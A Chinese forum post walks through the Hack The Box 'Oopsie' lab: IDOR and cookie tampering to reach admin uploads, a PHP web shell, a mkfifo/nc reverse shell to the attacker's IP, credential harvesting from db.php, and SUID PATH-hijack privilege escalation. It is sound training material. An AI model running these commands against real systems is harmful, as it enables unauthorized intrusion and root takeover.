HTB-oopsie靶场练习

打印 上一主题 下一主题

主题 910|帖子 910|积分 2730

靶机地址: 10.129.130.57
攻击机地址: 10.10.14.185


端口扫描
  1. nmap -sV -sC 10.129.130.57
复制代码

访问10.129.130.57, 对一些可能有用的信息进行记录

打开burp, 刷新网页, 点击HTTP history,注意到/cdn-cgi/login/script.js

试着访问http://10.129.130.57/cdn-cgi/login/script.js,页面没有内容
访问http://10.129.130.57/cdn-cgi/login/,发现登录后台

帐号admin,试着进行弱密码爆破,但失败了
点击游客登录


对url的id值进行变换,最后在id=1处发现admin用户的相关信息

继续查看其它模块,发现在uploads模块中,发现需要管理员权限才能上传文件

F12进入控制台,点击storge,查看cookie,此时为游客权限

试着把cookie修改为刚才从account模块下得到的数据,刷新页面,完成纵向越权

将以下shell文件上传

上传成功


对靶机进行目录扫描,寻找php文件
  1. gobuster dir -u http://10.129.130.57/ -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -x php
复制代码
-u: 指定url
-w: 指定字典
-x: 指定文件后缀

发现一个/uploads目录
访问http://10.129.130.57/uploads/shell.php?cmd=whoami

使用nc监听8888端口
  1. nc -lnvp 8888
复制代码
浏览器输入:
10.129.130.57/uploads/shell.php?cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.185 8888 >/tmp/f
  1. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.185 8888 >/tmp/f    <br>// 这是一段反向shell,mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和错误输出结果通过nc传到该管道,形成了一个回路<br>// nc反向shell原理:被控端使用nc将/bin/sh发送到控制端的8888端口,控制端监听本地的8888端口,获得shell
复制代码
如果终端没有响应,可用burp进行抓包重放,ctrl+u对参数进行unicode编码

连接成功

查看/etc/passwd文件,robert像是个用户

因为该shell不是交互式的,无法自动补全命令,无法移动光标等问题,且缺少tty,没有上下文环境,但该机器上存在python,所以使用python pty进行tty提升
  1. python3 -c 'import pty;pty.spawn("/bin/bash");'  // 提升tty
复制代码
获得更多访问权限后,ctrl+z将其放入后台

输入stty raw -echo;fg(fg是把后台的nc -lnvp调回前台)
输入export TERM=linux清除控制台

此时shell可交互,我们拥有tab键自动补全功能,也可以自由使用方向键
进入/var/www/html/cdn-cgi/login目录
输入grep -i “password” *
在当前目录下的所有文件中匹配password
*为当前目录,-i为不区分大小写
在/etc/passwd中没有发现admin用户,所以该密码无法在本台机器上登录

查看db.php,发现用户robert的密码

登录robert

到用户目录下,查看user.txt文件

查找group为bugtracker可调用的程序有哪些
  1. find / -group bugtracker 2>/dev/null
复制代码
/dev/null:写入该文件的数据不会被存储,通常用来丢弃数据
Linux系统预留可三个文件描述符0、1和2
含义:0→标准输入、1→标准输出、2→标准错误
2>/dev/null: 把错误信息丢弃

查看文件信息
  1. ls -la /usr/bin/bugstracker
复制代码

该文件的所有者为root,具有s(suid)权限位
s权限位:使文件在执行阶段具有文件所有者的权限,相当于临时拥有文件所有者的身份.
例: 典型文件/etc/passwd, 如果一般用户执行该文件, 则在执行过程中, 该文件可以获得root权限更改用户的密码.
输入bugstracker执行该命令, 并测试一些id

注意到cat: /root/reports/8888, 该命令使用cat来寻找该文件,并打印文件,但cat命令依赖path环境变量
输入echo $PATH,查看当前环境变量

在使用cat命令时,先从/usr/local/sbin下寻找该命令,如果没有找到,再从/usr/local/bin下寻找,以此类推到/usr/local/games,直到最后一个目录下也没找到该命令,就在终端输入command not found
 
进入tmp目录下,创建cat文件,cat文件中的内容为/bin/bash
使用chmod给改文件增加执行权限(x)

将tmp目录加入到环境变量$PATH

再次执行bugstracker,输入id

cat命令调用时,在tmp目录下被找到,并以root身份执行/bin/bash,提权成功
在/root/目录下找到root.txt

 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

莫张周刘王

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表